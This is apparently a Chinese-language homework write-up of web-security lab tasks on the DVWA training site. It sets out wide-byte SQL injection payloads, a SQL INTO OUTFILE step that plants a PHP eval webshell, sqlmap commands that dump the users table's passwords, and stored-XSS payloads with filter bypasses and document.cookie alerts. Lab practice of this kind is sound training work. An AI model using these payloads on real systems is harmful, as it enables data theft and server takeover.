题目
- 1、利用宽字节注入实现“库名-表名”的注入过程,写清楚注入步骤
- 2、利用SQL注入实现DVWA站点的Getshell,写清楚攻击步骤;
- 3、使用Sqlmap工具完成对DVWA数据库的注入过程,要求按照库、表、列、内容的顺序进行注入;
- 4、完成DVWA靶场存储型XSS的漏洞练习。
1 宽字节注入
输入框输入kobe%df' or 1=1 # 抓包
在burp suite中修改%25
利用%df逃逸转义字符,构造sql语句进行查询,在bp的repeater模块操作,通过页面渲染查看返回结果
kobe%df' union all select 1,database()#
kobe%df' union all select database(),table_name from information_schema.tables where table_schema=database()#
2 SQL注入实现GetShell
使用into outfile写入一句话木马,文件名问shell2.php
'union select 1, "<?php eval($_POST['a']);" into outfile '/var/www/html/shell2.php
在DVWA low等级的SQL Injection中输入,可以通过hackbar中的post data进行操作,但只能输入php命令。
可以通过system()命令执行系统命令
通过蚁剑连接shell2.php
在文件中发现数据库用户名密码
通过蚁剑对数据进行操作
3 sqlmap注入dvwa
3.1 sqlmap扫描dvwa
1.dvwa登录后输入任意值,bp抓包,获取请求数据包,并将获取到的信息复制到txt文件中。
2.sqlmap使用-r参数通过txt中的目标进行扫描
sqlmap.py -r D:\Desktop\1.txt --batch
3.2 sqlmap注入
1.注库名
sqlmap.py -r D:\Desktop\1.txt --batch --dbs
2.注表名,指定dvwa数据库
sqlmap.py -r D:\Desktop\1.txt --batch --tables -D dvwa
3.注列名,可以使用-T指定表
sqlmap.py -r D:\Desktop\1.txt --batch --columns -D dvwa -T users
4.注参数,利用--dump下载-C指定的内容
sqlmap.py -r D:\Desktop\1.txt --batch --dump -D dvwa -T users -C user,password
4 存储型xss
Low
<script>alert(1)</script>
<img src=## onerror=alert(document.cookie)>
Medium
addslashes函数对所有的特殊字符进行转义,无法绕过
name输入框将script替换成空,大小写或双写绕过,name输入框有长度限制,F12找到输入框,修改限制,或通过抓包修改
大小写混淆:<ScRipt>alert(/xss/)</script>
双写绕过:<sc<script>ript>alert(/xss/)</script>
其他标签:<img src=x OnerrOr=alert(/xss/)>
High
正则匹配过滤<script> 使用img标签绕过
<img src=## onerror=alert(document.cookie)>